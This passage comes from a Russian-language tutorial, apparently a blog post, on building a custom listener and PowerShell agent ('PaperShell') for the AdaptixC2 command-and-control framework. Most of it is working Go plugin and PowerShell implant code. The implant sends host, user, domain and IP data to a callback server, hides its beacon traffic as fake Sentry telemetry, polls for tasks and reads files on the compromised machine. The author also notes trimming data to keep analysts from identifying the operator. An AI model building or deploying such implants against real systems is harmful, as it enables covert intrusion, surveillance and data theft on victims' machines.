		for _, part := range parts {
			if len(part) == 0 || len(part) &amp;gt; 63 {
				return fmt.Errorf(&amp;quot;Invalid host: %s\n&amp;quot;, conf.CallbackAddress)
			}
		}
	}

	return nil
}&lt;/pre&gt;
  &lt;p id=&quot;jd0I&quot;&gt;В коде проверяем что IP-адрес, порт, и IP-адрес коллбэка валидные. &lt;/p&gt;
  &lt;p id=&quot;Dkok&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;NAOA&quot;&gt;Теперь пишем код для запуска нашего листенера. Этот код так же должен уметь парсить конфиг.&lt;/p&gt;
  &lt;pre id=&quot;ddJe&quot; data-lang=&quot;go&quot;&gt;func (m *ModuleExtender) HandlerCreateListenerDataAndStart(name string, configData string, listenerCustomData []byte) (adaptix.ListenerData, []byte, any, error) {
	var (
		listenerData adaptix.ListenerData // Это то, что будет отображаться в интерфейсе и использоваться агентом
		customdData  []byte
	)

	var (
		listener *HTTP
		conf     HTTPConfig
		err      error
	)

	// listenerCustomData может быть передана вместо конфига - если листенер стартует после перезапуска сервера

	if listenerCustomData == nil {
		// Парсим конфиг - он уже провалидирован, повторно не надо
		err = json.Unmarshal([]byte(configData), &amp;amp;conf)
		if err != nil {
			return listenerData, customdData, listener, err
		}
	} else {
		// Парсим конфиг - он уже провалидирован, повторно не надо
		err = json.Unmarshal(listenerCustomData, &amp;amp;conf)
		if err != nil {
			return listenerData, customdData, listener, err
		}
	}

	// Создаём листенер
	listener = &amp;amp;HTTP{
		GinEngine: gin.New(),
		Name:      name,
		Config:    conf,
		Active:    false,
	}

	// Запускаем листенер
	err = listener.Start(m.ts)
	if err != nil {
		return listenerData, customdData, listener, err
	}

	listenerData = adaptix.ListenerData{
		BindHost:  listener.Config.HostBind,
		BindPort:  strconv.Itoa(listener.Config.PortBind),
		AgentAddr: listener.Config.CallbackAddress,
		Status:    &amp;quot;Listen&amp;quot;,
	}

	// Сохраняем конфиг в customdData
	var buffer bytes.Buffer
	err = json.NewEncoder(&amp;amp;buffer).Encode(listener.Config)
	if err != nil {
		return listenerData, customdData, listener, nil
	}
	customdData = buffer.Bytes()

	return listenerData, customdData, listener, nil
}&lt;/pre&gt;
  &lt;p id=&quot;DIat&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;hDV8&quot;&gt;Аналогично для остановки листенера:&lt;/p&gt;
  &lt;pre id=&quot;4eC0&quot; data-lang=&quot;go&quot;&gt;func (m *ModuleExtender) HandlerListenerStop(name string, listenerObject any) (bool, error) {
	var (
		err error = nil
		ok  bool  = false
	)

	listener := listenerObject.(*HTTP) // Кастуем к нашему листенеру
	if listener.Name == name {
		err = listener.Stop()
		ok = true
	}

	return ok, err
}&lt;/pre&gt;
  &lt;p id=&quot;9cgI&quot;&gt;Не уверен зачем происходит сверка имени, но она была в оригинальных плагинах Adaptix, поэтому оставим её&lt;/p&gt;
  &lt;p id=&quot;mmX0&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;Do2j&quot;&gt;Реализуем HandlerListenerGetProfile для извлечения конфига из уже созданного листенера:&lt;/p&gt;
  &lt;pre id=&quot;XDrF&quot; data-lang=&quot;go&quot;&gt;func (m *ModuleExtender) HandlerListenerGetProfile(name string, listenerObject any) ([]byte, bool) {
	var (
		object bytes.Buffer
		ok     bool = false
	)

	listener := listenerObject.(*HTTP)
	if listener.Name == name {
		_ = json.NewEncoder(&amp;amp;object).Encode(listener.Config)
		ok = true
	}

	return object.Bytes(), ok
}&lt;/pre&gt;
  &lt;p id=&quot;JUCS&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;UvLO&quot;&gt;Осталось реализовать всего одну функцию для работоспособности листенера - редактирование данных:&lt;/p&gt;
  &lt;pre id=&quot;kzGd&quot; data-lang=&quot;go&quot;&gt;
func (m *ModuleExtender) HandlerEditListenerData(name string, listenerObject any, configData string) (adaptix.ListenerData, []byte, bool) {
	var (
		listenerData adaptix.ListenerData
		customdData  []byte
		ok           bool = false
		err          error
		conf         HTTPConfig
	)

	listener := listenerObject.(*HTTP)
	if listener.Name == name {
		// Parse config
		err = json.Unmarshal([]byte(configData), &amp;amp;conf)
		if err != nil {
			return listenerData, customdData, false
		}

		// Copy from new config to listener
		listener.Config.CallbackAddress = conf.CallbackAddress
		listener.Config.HostBind = conf.HostBind
		listener.Config.PortBind = conf.PortBind

		listenerData = adaptix.ListenerData{
			BindHost:  listener.Config.HostBind,
			BindPort:  strconv.Itoa(listener.Config.PortBind),
			AgentAddr: listener.Config.CallbackAddress,
			Status:    &amp;quot;Listen&amp;quot;,
		}

		if !listener.Active {
			listenerData.Status = &amp;quot;Closed&amp;quot;
		}

		var buffer bytes.Buffer
		err = json.NewEncoder(&amp;amp;buffer).Encode(listener.Config)
		if err != nil {
			return listenerData, customdData, false
		}
		customdData = buffer.Bytes()

		ok = true
	}

	return listenerData, customdData, ok
}&lt;/pre&gt;
  &lt;p id=&quot;xF4V&quot;&gt;С самой простой частью закончили)) Код выше по большей части шаблонный, но его легко менять под свои требования - например сделать External C2 или реализовать общение через DNS.&lt;/p&gt;
  &lt;h3 id=&quot;epPk&quot;&gt;Собираем листенер&lt;/h3&gt;
  &lt;p id=&quot;pZJ6&quot;&gt;Теперь нам нужно отредактировать Makefile - вместо _LISTENER_ указать имя нашего листенера/агента. Я назвал его PaperShell:&lt;/p&gt;
  &lt;pre id=&quot;j4GQ&quot; data-lang=&quot;makefile&quot;&gt;all: clean
	@ echo &amp;quot;    * Building listener_papershell_http plugin&amp;quot;
	@ mkdir dist
	@ cp config.json ax_config.axs ./dist/
	@ go build -buildmode=plugin -ldflags=&amp;quot;-s -w&amp;quot; -o ./dist/papershell_http.so pl_main.go pl_listener.go pl_http.go
	@ echo &amp;quot;      done...&amp;quot;

clean:
	@ rm -rf dist
&lt;/pre&gt;
  &lt;p id=&quot;kj0P&quot;&gt;Кроме того, на строчке с &amp;quot;go build&amp;quot;, нужно дописать все файлы которые нужны для компиляции - в нашем случае нужно добавить &amp;quot;pl_http.go&amp;quot;&lt;/p&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;p6p0&quot;&gt;И меняем конфиг под наш листенер:&lt;/p&gt;
  &lt;pre id=&quot;f9LY&quot; data-lang=&quot;javascript&quot;&gt;{
  &amp;quot;extender_type&amp;quot;: &amp;quot;listener&amp;quot;,
  &amp;quot;extender_file&amp;quot;: &amp;quot;papershell_http.so&amp;quot;,
  &amp;quot;ax_file&amp;quot;: &amp;quot;ax_config.axs&amp;quot;,

  &amp;quot;listener_name&amp;quot;: &amp;quot;PaperShellHTTP&amp;quot;,
  &amp;quot;listener_type&amp;quot;: &amp;quot;external&amp;quot;,
  &amp;quot;protocol&amp;quot;: &amp;quot;http&amp;quot;
}&lt;/pre&gt;
  &lt;p id=&quot;Urtr&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;EwbJ&quot;&gt;Зальём листенер в Adaptix:&lt;/p&gt;
  &lt;pre id=&quot;uA01&quot; data-lang=&quot;bash&quot;&gt;cp -r ./dist ~/Tools/AdaptixC2/Extenders/listener_papershell_http&lt;/pre&gt;
  &lt;p id=&quot;8EWh&quot;&gt;Собираем Extender&amp;#x27;ы из папки AdaptixC2:&lt;/p&gt;
  &lt;pre id=&quot;uKiW&quot; data-lang=&quot;bash&quot;&gt;cd ~/Tools/AdaptixC2
make&lt;/pre&gt;
  &lt;p id=&quot;Ye4k&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;Ik5y&quot;&gt;Добавим экстендер в profile.json:&lt;/p&gt;
  &lt;figure id=&quot;FnVn&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/db/27/db2773be-3645-4cd0-bcff-9d32456230b1.png&quot; width=&quot;559&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;all9&quot;&gt;Проверяем листенер:&lt;/p&gt;
  &lt;figure id=&quot;w4Bq&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/3e/12/3e122380-1a5f-498c-9f13-1a815757673d.png&quot; width=&quot;1638&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;XIJt&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/81/2e/812e268e-2788-4a4a-99e0-48687c1aacf4.png&quot; width=&quot;649&quot; /&gt;
    &lt;figcaption&gt;Ура, он появился))&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;JHCp&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/92/2f/922f2a68-178d-4a6d-af24-e5f4684ca02b.png&quot; width=&quot;647&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;hp4A&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/5f/7f/5f7fe4cd-251e-4642-88ee-3c4d65db9dec.png&quot; width=&quot;1630&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;wFHO&quot;&gt;Проверим что листенер работает на правильном порту:&lt;/p&gt;
  &lt;figure id=&quot;6aLb&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2b/56/2b5668fe-66b3-4d41-8635-e629f1a76a7c.png&quot; width=&quot;1591&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;3glN&quot;&gt;Итак, листенер готов и слушает порт. Пора создать того, кто будет с ним говорить - нашего агента.&lt;/p&gt;
  &lt;h2 id=&quot;vWNp&quot;&gt;Создаём агента&lt;/h2&gt;
  &lt;p id=&quot;t91A&quot;&gt;Шаблон для агента находится в &amp;quot;agent_template&amp;quot;. Я сразу переименую его в papershell_agent:&lt;/p&gt;
  &lt;figure id=&quot;crJX&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/96/f6/96f6ba45-70ea-4ef9-88c0-346629724af5.png&quot; width=&quot;774&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;CSnx&quot;&gt;Так же как и в листенере, pl_main.go мы не будем трогать. pl_agent.go будет содержать логику генерации нового агента и упаковки данных для него.&lt;/p&gt;
  &lt;p id=&quot;oV3x&quot;&gt;Для кода самого агента я создам папку &amp;quot;src_papershell&amp;quot;:&lt;/p&gt;
  &lt;figure id=&quot;PCws&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b3/72/b3724833-c5cf-4128-a6de-34953d90eb6d.png&quot; width=&quot;310&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;pahr&quot;&gt;Для отладки генерации агента, положим в него такую заглушку:&lt;/p&gt;
  &lt;pre id=&quot;6g9K&quot; data-lang=&quot;powershell&quot;&gt;Write-Host &amp;quot;Stub agent. Callback: &amp;lt;CALLBACK_HOST&amp;gt;:&amp;lt;CALLBACK_PORT&amp;gt;, Watermark: &amp;lt;WATERMARK&amp;gt;&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;FzyW&quot;&gt;Начнём с двух простых функций, которые мы не задействуем - шифрование и дешифровка данных. Для OPSEC лучше их всё же реализовать, но в данном случае я их не использую:&lt;/p&gt;
  &lt;pre id=&quot;Rxv7&quot; data-lang=&quot;go&quot;&gt;func AgentEncryptData(data []byte, key []byte) ([]byte, error) {
	return data, nil
}

func AgentDecryptData(data []byte, key []byte) ([]byte, error) {
	return data, nil
}&lt;/pre&gt;
  &lt;p id=&quot;NXXJ&quot;&gt;Функция для генерации профиля тоже не обязательна - для таких скриптов как powershell, паковать данные в профиль совсем не обязательно - мы можем подставить их прямо в код, поэтому функцию можно оставить в таком виде:&lt;/p&gt;
  &lt;pre id=&quot;gOwf&quot; data-lang=&quot;go&quot;&gt;func AgentGenerateProfile(agentConfig string, listenerWM string, listenerMap map[string]any) ([]byte, error) {
	return nil, nil
}&lt;/pre&gt;
  &lt;p id=&quot;Jwcj&quot;&gt;Пишем функцию для генерации агента из параметров. Мы будем использовать только параметры листенера и водяной знак (для идентификации агента):&lt;/p&gt;
  &lt;pre id=&quot;jScA&quot; data-lang=&quot;go&quot;&gt;func AgentGenerateBuild(agentConfig string, agentProfile []byte, listenerMap map[string]any) ([]byte, string, error) {
	var (
		Filename     string
		buildContent []byte
	)

	// Получаем нужные параметры подключения
	callbackHost, callbackPort, _ := net.SplitHostPort(strings.TrimSpace(listenerMap[&amp;quot;callback_address&amp;quot;].(string)))

	// Собираем агента
	currentDir := ModuleDir
	Filename = &amp;quot;agent.ps1&amp;quot;

	agentContentBytes, err := os.ReadFile(currentDir + &amp;quot;/src_papershell/agent.ps1&amp;quot;)
	if err != nil {
		return nil, &amp;quot;&amp;quot;, err
	}

	agentContent := string(agentContentBytes)

	agentContent = strings.ReplaceAll(agentContent, &amp;quot;&amp;lt;CALLBACK_HOST&amp;gt;&amp;quot;, callbackHost)
	agentContent = strings.ReplaceAll(agentContent, &amp;quot;&amp;lt;CALLBACK_PORT&amp;gt;&amp;quot;, callbackPort)
	agentContent = strings.ReplaceAll(agentContent, &amp;quot;&amp;lt;WATERMARK&amp;gt;&amp;quot;, AgentWatermark)

	buildContent = []byte(agentContent)

	return buildContent, Filename, nil
}&lt;/pre&gt;
  &lt;p id=&quot;9ijO&quot;&gt;Не будем усложнять агента упаковкой и распаковкой бинарных данных - воспользуемся привычным JSON для общения с сервером. Напишем стартовый код для упаковки команды в данные для агента:&lt;/p&gt;
  &lt;pre id=&quot;GzuL&quot; data-lang=&quot;go&quot;&gt;func CreateTask(ts Teamserver, agent adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) {
	var (
		taskData    adaptix.TaskData
		messageData adaptix.ConsoleMessageData
		err         error
	)

	command, ok := args[&amp;quot;command&amp;quot;].(string)
	if !ok {
		return taskData, messageData, errors.New(&amp;quot;&amp;#x27;command&amp;#x27; must be set&amp;quot;)
	}
	// subcommand, _ := args[&amp;quot;subcommand&amp;quot;].(string)

	taskData = adaptix.TaskData{
		Type: TYPE_TASK,
		Sync: true,
	}

	messageData = adaptix.ConsoleMessageData{
		Status: MESSAGE_INFO,
		Text:   &amp;quot;&amp;quot;,
	}
	messageData.Message, _ = args[&amp;quot;message&amp;quot;].(string)

	commandData := make(map[string]string)

	commandData[&amp;quot;command&amp;quot;] = command

	switch command {
	case &amp;quot;cat&amp;quot;:
		path, ok := args[&amp;quot;path&amp;quot;].(string)
		if !ok {
			err = errors.New(&amp;quot;paramter &amp;#x27;path&amp;#x27; must be set&amp;quot;)
			goto RET
		}
		commandData[&amp;quot;path&amp;quot;] = path
	default:
		err = errors.New(fmt.Sprintf(&amp;quot;Command &amp;#x27;%v&amp;#x27; not found&amp;quot;, command))
		goto RET
	}

	taskData.Data, err = json.Marshal(commandData)
	if err != nil {
		goto RET
	}

RET:
	return taskData, messageData, err
}&lt;/pre&gt;
  &lt;p id=&quot;GV75&quot;&gt;Настроим файл сборки:&lt;/p&gt;
  &lt;pre id=&quot;RVxm&quot; data-lang=&quot;makefile&quot;&gt;all: clean
	@ echo &amp;quot;    * Building agent_papershell plugin&amp;quot;
	@ mkdir dist
	@ cp config.json ax_config.axs ./dist/
	@ cp -r src_papershell ./dist/
	@ go build -buildmode=plugin -ldflags=&amp;quot;-s -w&amp;quot; -o ./dist/agent_papershell.so pl_main.go pl_agent.go
	@ echo &amp;quot;      done...&amp;quot;

clean:
	@ rm -rf dist&lt;/pre&gt;
  &lt;p id=&quot;3xwX&quot;&gt;В него я добавил копирование исходников нашего агента (src_papershell)&lt;/p&gt;
  &lt;p id=&quot;DX0y&quot;&gt;Файл конфигурации:&lt;/p&gt;
  &lt;pre id=&quot;iYKe&quot; data-lang=&quot;javascript&quot;&gt;{
  &amp;quot;extender_type&amp;quot;: &amp;quot;agent&amp;quot;,
  &amp;quot;extender_file&amp;quot;: &amp;quot;agent_papershell.so&amp;quot;,
  &amp;quot;ax_file&amp;quot;: &amp;quot;ax_config.axs&amp;quot;,

  &amp;quot;agent_name&amp;quot;: &amp;quot;papershell&amp;quot;,
  &amp;quot;agent_watermark&amp;quot;: &amp;quot;ab0ba000&amp;quot;,
  &amp;quot;listeners&amp;quot;: [ &amp;quot;PaperShellHTTP&amp;quot;]
}&lt;/pre&gt;
  &lt;p id=&quot;QcJS&quot;&gt;Watermark должен быть уникальный, он поможет отличать нашего агента от других. В других местах Adaptix Watermark может называться AgentType.&lt;/p&gt;
  &lt;p id=&quot;MWLA&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;cbhA&quot;&gt;И создадим AxScript для меню генерации агента и для регистрации команд:&lt;/p&gt;
  &lt;pre id=&quot;XqlJ&quot; data-lang=&quot;javascript&quot;&gt;/// PAPERSHELL_AGENT

function RegisterCommands(listenerType)
{

/// Commands Here

    let cmd_cat = ax.create_command(&amp;quot;cat&amp;quot;, &amp;quot;Read first 2048 bytes of the specified file&amp;quot;, &amp;quot;cat C:\\file.exe&amp;quot;, &amp;quot;Task: read file&amp;quot;);
    cmd_cat.addArgString(&amp;quot;path&amp;quot;, true);

    if(listenerType == &amp;quot;PaperShellHTTP&amp;quot;) {
        let commands_external = ax.create_commands_group(&amp;quot;papershell&amp;quot;, [cmd_cat] );

        return { commands_windows: commands_external }
    }
    return ax.create_commands_group(&amp;quot;none&amp;quot;,[]);
}

function GenerateUI(listenerType)
{
    // Пустая форма
    let container = form.create_container()

    let panel = form.create_panel()

    return {
        ui_panel: panel,
        ui_container: container
    }
}&lt;/pre&gt;
  &lt;p id=&quot;hza4&quot;&gt;Кстати, если вы хотите чтобы команды для агента можно было вводить мышой из контекстного меню, то это так же добавляется в AxScript&lt;/p&gt;
  &lt;p id=&quot;QeCA&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;Bjwf&quot;&gt;Теперь собираем агента:&lt;/p&gt;
  &lt;figure id=&quot;7hWj&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f6/38/f6388d34-eb83-4433-b038-c07aeecf9938.png&quot; width=&quot;624&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;w3Uh&quot;&gt;Добавляем в extenders:&lt;/p&gt;
  &lt;figure id=&quot;4B1A&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/01/b7/01b79fbb-6064-469b-8fa7-7002dce88014.png&quot; width=&quot;648&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;IRwT&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/be/91/be91dc84-41eb-4c82-afbf-2bb51e95d6ec.png&quot; width=&quot;525&quot; /&gt;
    &lt;figcaption&gt;profile.json&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Tuhv&quot;&gt;И пробуем сгенерировать:&lt;/p&gt;
  &lt;figure id=&quot;Swgq&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/55/82/5582f604-07df-4684-9cc0-d98c804d7da7.png&quot; width=&quot;809&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;4ZGn&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b5/05/b505934f-99d1-4bf4-9814-a4ba22bb6bf7.png&quot; width=&quot;555&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;3s0a&quot;&gt;Как мы видем, всё сгенерировалось корректно:&lt;/p&gt;
  &lt;figure id=&quot;k8gg&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/72/f4/72f42fb3-6d6b-4836-b6d7-ff68d0f53266.png&quot; width=&quot;601&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3 id=&quot;UXeQ&quot;&gt;Реализуем функции в агенте&lt;/h3&gt;
  &lt;p id=&quot;mz8h&quot;&gt;Заметка явно затянулась, но мы уже недалеко от цели. Напомню, что в начале мы планировали реализовать только базовый набор команд. Конкретизируем его:&lt;/p&gt;
  &lt;ul id=&quot;fHEK&quot;&gt;
    &lt;li id=&quot;jqaH&quot;&gt;cat path - Прочитать файл&lt;/li&gt;
    &lt;li id=&quot;4DZE&quot;&gt;ls [path] - Содержимое директории&lt;/li&gt;
    &lt;li id=&quot;f2yy&quot;&gt;cd path - Переход в директорию&lt;/li&gt;
    &lt;li id=&quot;3LgG&quot;&gt;ps run executable args.. - Запуск процесса с параметрами (с захватом вывода)&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;nQKZ&quot;&gt;Сам цикл работы агента будет построен следующим образом:&lt;/p&gt;
  &lt;ol id=&quot;TVpe&quot;&gt;
    &lt;li id=&quot;h4ud&quot;&gt;Генерируем BEAT&lt;/li&gt;
    &lt;li id=&quot;bbB3&quot;&gt;Отправляем запрос на получение данных с сервера, передаём на сервер блок начальных данных (os/username/domain/...)&lt;/li&gt;
    &lt;li id=&quot;wGSb&quot;&gt;Если с сервера пришла задача (их может прийти сразу несколько за раз), выполняем её, результат выполнения каждой по отдельности отправляем на сервер&lt;/li&gt;
    &lt;li id=&quot;dvex&quot;&gt;Если не пришла, спим 10 секунд, пробуем получить снова&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;GImY&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;Ebvf&quot;&gt;Кстати, данные инциализации (шаг 2) передаются прямо в BEAT. В листенере мы делали, чтобы первые 4 байта BEAT были типом агента, следующие 4 байта - ID. Для инициализирующего пакета после этих 8 байт допишем JSON с данными для регистрации агента.&lt;/p&gt;
  &lt;p id=&quot;a7U2&quot;&gt;Тогда начало нашего агента будет следующим:&lt;/p&gt;
  &lt;pre id=&quot;23jr&quot; data-lang=&quot;powershell&quot;&gt;$randomId = [int32](Get-Random -Maximum ([int32]::MaxValue + 1))

$agentId = [int32](Get-Random -Maximum ([int32]::MaxValue + 1))
$agentType = 0xab0ba000
$bytesAgentId = [BitConverter]::GetBytes($agentId)
$bytesAgentType = [BitConverter]::GetBytes($agentType)
$beat = $bytesAgentType + $bytesAgentId

$hexStringBeat = [System.BitConverter]::ToString($beat) -replace &amp;#x27;-&amp;#x27;

$uri = &amp;quot;http://&amp;lt;CALLBACK_HOST&amp;gt;:&amp;lt;CALLBACK_PORT&amp;gt;/api/&amp;quot; + $randomId + &amp;quot;/envelope&amp;quot;
$initialData = @{
    domain      = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties().DomainName
    username    = &amp;quot;$env:USERDOMAIN\$env:USERNAME&amp;quot;
    computer    = $env:COMPUTERNAME
    internal_ip = (Test-Connection -ComputerName $env:COMPUTERNAME -Count 1).IPV4Address.IPAddressToString
} | convertto-json

$global:isInitial = $true

function SendData($result) {
    # Send data to server using hex encoding and receive answer from server
    $hexStringData = &amp;quot;&amp;quot;
    if ($result.Count -ne 0) {
        $encoded = convertto-json -Depth 3 $result
        $bytes = [System.Text.Encoding]::UTF8.GetBytes($encoded)
        $hexStringData = [System.BitConverter]::ToString($bytes) -replace &amp;#x27;-&amp;#x27;
    }
    $additionalBeat = &amp;quot;&amp;quot;
    if ($global:isInitial) {
        $additionalBeat = [System.BitConverter]::ToString([System.Text.Encoding]::UTF8.GetBytes($initialData)) -replace &amp;#x27;-&amp;#x27;
        $global:isInitial = $false
    }

    $body = &amp;#x27;{&amp;quot;event_id&amp;quot;:&amp;quot;&amp;#x27; + $hexStringBeat + $additionalBeat + &amp;#x27;&amp;quot;,&amp;quot;sent_at&amp;quot;:&amp;quot;2025-01-01T00:00:00.000Z&amp;quot;,&amp;quot;sdk&amp;quot;:{&amp;quot;name&amp;quot;:&amp;quot;sentry.javascript.browser&amp;quot;,&amp;quot;version&amp;quot;:&amp;quot;7.0.0&amp;quot;}}
{&amp;quot;type&amp;quot;:&amp;quot;transaction&amp;quot;}
{&amp;quot;contexts&amp;quot;:{&amp;quot;trace&amp;quot;:{&amp;quot;trace_id&amp;quot;:&amp;quot;trace123456789abc&amp;quot;,&amp;quot;span_id&amp;quot;:&amp;quot;span123456789abc&amp;quot;,&amp;quot;op&amp;quot;:&amp;quot;pageload&amp;quot;}},&amp;quot;spans&amp;quot;:[{&amp;quot;span_id&amp;quot;:&amp;quot;span987654321def&amp;quot;,&amp;quot;op&amp;quot;:&amp;quot;http.client&amp;quot;,&amp;quot;description&amp;quot;:&amp;quot;&amp;#x27; + $hexStringData + &amp;#x27;&amp;quot;,&amp;quot;start_timestamp&amp;quot;:1704067200.000,&amp;quot;timestamp&amp;quot;:1704067200.100,&amp;quot;trace_id&amp;quot;:&amp;quot;trace123456789abc&amp;quot;}],&amp;quot;start_timestamp&amp;quot;:1704067200.000,&amp;quot;timestamp&amp;quot;:1704067201.000,&amp;quot;transaction&amp;quot;:&amp;quot;/home&amp;quot;,&amp;quot;type&amp;quot;:&amp;quot;transaction&amp;quot;,&amp;quot;platform&amp;quot;:&amp;quot;javascript&amp;quot;}
&amp;#x27;

    $response = Invoke-WebRequest -Uri $uri -Method POST -Body $Body

    $encodedTaskData = ($response.Content | convertfrom-json).id
    if ($encodedTaskData -eq &amp;quot;&amp;quot;) {
        return New-Object System.Collections.ArrayList
    }

    $hexBytes = $encodedTaskData -split &amp;#x27;(..)&amp;#x27; | Where-Object { -not [String]::IsNullOrEmpty($_) }

    foreach ($hexByte in $hexBytes) {
        # Convert each hex pair to an integer (base 16) and then to a character
        $asciiString += [char]([convert]::ToInt32($hexByte, 16))
    }

    $taskData = $asciiString | ConvertFrom-Json
    return $taskData
}

$TaskData = SendData(@())

&lt;/pre&gt;
  &lt;p id=&quot;iakg&quot;&gt;Достаточно прямолинейный код для кодирования данных и отправки на сервер по HTTP.&lt;/p&gt;
  &lt;p id=&quot;0ybF&quot;&gt;Добавим цикл обработки задач:&lt;/p&gt;
  &lt;pre id=&quot;XSoz&quot; data-lang=&quot;powershell&quot;&gt;$TaskResults = New-Object System.Collections.ArrayList
$TaskResults.Clear()
while ($true) {
    $TaskData = SendData($TaskResults)
    $TaskResults.Clear()

    foreach ($task in $TaskData) {
        write-output $task
        $taskId = $task.task_id
        # Decode task data
        $jsonData = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($task.task_data))
        $data = ConvertFrom-Json $jsonData

        # Здесь будет реализация команд
    }

    Start-Sleep 10
}&lt;/pre&gt;
  &lt;p id=&quot;foXI&quot;&gt;И реализацию первой команды (cat):&lt;/p&gt;
  &lt;pre id=&quot;RmOM&quot; data-lang=&quot;powershell&quot;&gt;        if ($data.command -eq &amp;quot;cat&amp;quot;) {
            $path = $data.path
            $result = [System.IO.File]::ReadAllBytes($path)
            
            $responseData = @{
                command = $data.command
                path = $data.path
                content = $result
                taskId = $taskId
            }
            $TaskResults.Add($responseData)
        }&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;2vMa&quot;&gt;Для обработки первого пакета (инициализируещего), реализуем &amp;quot;CreateAgent&amp;quot;. Эта функция будет обрабатывать HeatBeat в первом пакете от агента и добавлять метаданные.&lt;/p&gt;
  &lt;pre id=&quot;Cdfi&quot; data-lang=&quot;go&quot;&gt;type InitialData struct {
	Domain     string &amp;#x60;json:&amp;quot;domain&amp;quot;&amp;#x60;
	Username   string &amp;#x60;json:&amp;quot;username&amp;quot;&amp;#x60;
	Computer   string &amp;#x60;json:&amp;quot;computer&amp;quot;&amp;#x60;
	InternalIP string &amp;#x60;json:&amp;quot;internal_ip&amp;quot;&amp;#x60;
}

func CreateAgent(initialData []byte) (adaptix.AgentData, error) {
	var agentData adaptix.AgentData

	fmt.Printf(&amp;quot;res: %v\n&amp;quot;, initialData)

	var parsedData InitialData
	err := json.Unmarshal(initialData, &amp;amp;parsedData)
	if err != nil {
		return agentData, err
	}

	// Fill data: domain, computer, username, internalip
	agentData.Domain = parsedData.Domain
	agentData.Username = parsedData.Username
	agentData.Computer = parsedData.Computer
	agentData.InternalIP = parsedData.InternalIP

	// Мы не шифруем данные
	agentData.SessionKey = []byte(&amp;quot;NULL&amp;quot;)

	return agentData, nil
}&lt;/pre&gt;
  &lt;p id=&quot;OouG&quot;&gt;Теперь подготовим код для формирования пакетов задач (снова закодируем всё в обычный JSON):&lt;/p&gt;
  &lt;pre id=&quot;z3ey&quot; data-lang=&quot;go&quot;&gt;type AgentTaskData struct {
	TaskId   string &amp;#x60;json:&amp;quot;task_id&amp;quot;&amp;#x60;
	TaskData []byte &amp;#x60;json:&amp;quot;task_data&amp;quot;&amp;#x60;
}

func PackTasks(agentData adaptix.AgentData, tasksArray []adaptix.TaskData) ([]byte, error) {
	var tasks []AgentTaskData

	// Урезаем данные задач для передачи агенту
	for _, task := range tasksArray {
		tasks = append(tasks, AgentTaskData{
			TaskId: task.TaskId,
			TaskData: task.Data
		})
	}

	packData, err := json.Marshal(tasks)

	if err != nil {
		return nil, err
	}

	return packData, nil
}&lt;/pre&gt;
  &lt;p id=&quot;e8ez&quot;&gt;Потребовалось добавить цикл для урезания объектов задач - adaptix.TaskData содержит слишком много информации (например имя пользователя который поставил задачу), которую лучше не отправлять в агент - иначе злые аналитики повыдёргивают и задеанонят :).&lt;/p&gt;
  &lt;p id=&quot;qUus&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;WNHQ&quot;&gt;И добавляем код для обработки ответов агента (пока реализуем только команду &amp;quot;cat&amp;quot;):&lt;/p&gt;
  &lt;pre id=&quot;s1j6&quot; data-lang=&quot;go&quot;&gt;type ResultData struct {
	Path    string &amp;#x60;json:&amp;quot;path&amp;quot;&amp;#x60;
	Command string &amp;#x60;json:&amp;quot;command&amp;quot;&amp;#x60;
	Content []byte &amp;#x60;json:&amp;quot;content,omitempty&amp;quot;&amp;#x60;
